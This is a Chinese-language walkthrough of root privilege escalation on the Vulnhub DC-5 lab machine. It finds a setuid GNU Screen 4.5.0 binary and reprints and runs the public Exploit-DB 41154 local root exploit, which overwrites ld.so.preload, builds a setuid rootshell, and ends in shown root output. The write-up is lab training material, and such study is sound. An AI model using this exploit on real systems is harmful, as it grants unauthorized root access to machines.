Vulnhub DC-5 渗透测试-提权

1. 利用点查找

```
# 查询所有具有setuid的指令
find / -user root -perm -4000 2>/dev/null
```

> -user uname 即指定命令拥有者
>
> 2>/dev/null 错误重定向到/dev/null，即不显示错误信息
>
> -perm -4000 用于指定查询内容的权限，表达权限查询具有setuid的命令

```
www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs
```

可以看到在可执行文件中有个显著的程序`screen-4.5.0`。

> GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话，并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
>
> 即复用会话窗口。

通过`searchsploit`查找`screen 4.5`的可利用漏洞。

> `searchsploit`是`ExploitDB`中带有的搜索命令，用于检索`ExploitDB`中的漏洞，kali完整版中具有本地库。

> **ExploitDB** 是一个面向全世界黑客的漏洞提交平台，该平台会公布最新漏洞的相关情况，这些可以帮助企业改善公司的安全状况，同时也以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。Exploit-DB提供一整套庞大的归档体系，其中涵盖了各类公开的攻击事件、漏洞报告、安全文章以及技术教程等资源。

```
> searchsploit screen 4.5
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    | Path
---------------------------------------------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation                                     | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)                               | linux/local/41152.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

主要关注 `/usr/share/exploitdb/exploits/linux/local/41154.sh` 文件，可以看到直接给出了利用方式。

同时给出了 **bug** 介绍，简要看了一下主要是**利用程序的check以root权限打开日志文件**。这使得我们可以截断任何文件或创建一个具有任何目录中的任何内容的root文件，并且可以通过这种方式轻松地获取root权限。

```
> cat /usr/share/exploitdb/exploits/linux/local/41154.sh/41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>ls
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
```

```
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
```

2. 漏洞利用

上述 `41154.sh` 本来应该直接具有可执行性。但是上传到被攻击服务器上时，执行有错误。

对脚本稍作整理之后执行。执行过程并不复杂。

将第一部分代码存于 `/tmp/libhax.c` 编译为 `/tmp/libhax.so` 。

内容主要是赋予 `/tmp/rootshell` 权限。

```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
```

将第二部分代码存于 `/tmp/rootshell.c` 编译为 `/tmp/rootshell` 。

内容主要是设置 `setuid` 等权限，提权后运行 `sh` 。

```c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
```

第三部分执行代码，可保存为shell脚本等待使用`poc.sh`。

```
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
```

将整理好的`libhax.so`、`rootshell`、`poc.sh`上传到靶机的`/tmp`下。赋予`poc.sh`权限，执行后看到提权成功。

```
 www-data@dc-5:~/html$ cd /tmp
 www-data@dc-5:/tmp$ ls
 dc5.sh  libhax.so  rootshell
 www-data@dc-5:/tmp$ chmod +x poc.sh
 www-data@dc-5:/tmp$ ./poc.sh
 [+] Now we create our /etc/ld.so.preload file...
 [+] Triggering...
 ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file):
 ignored.
 [+] done!
 No Sockets found in /tmp/screens/S-www-data.

 # whoami
 root
 # cd /root
 # ls
 thisistheflag.txt
 #
```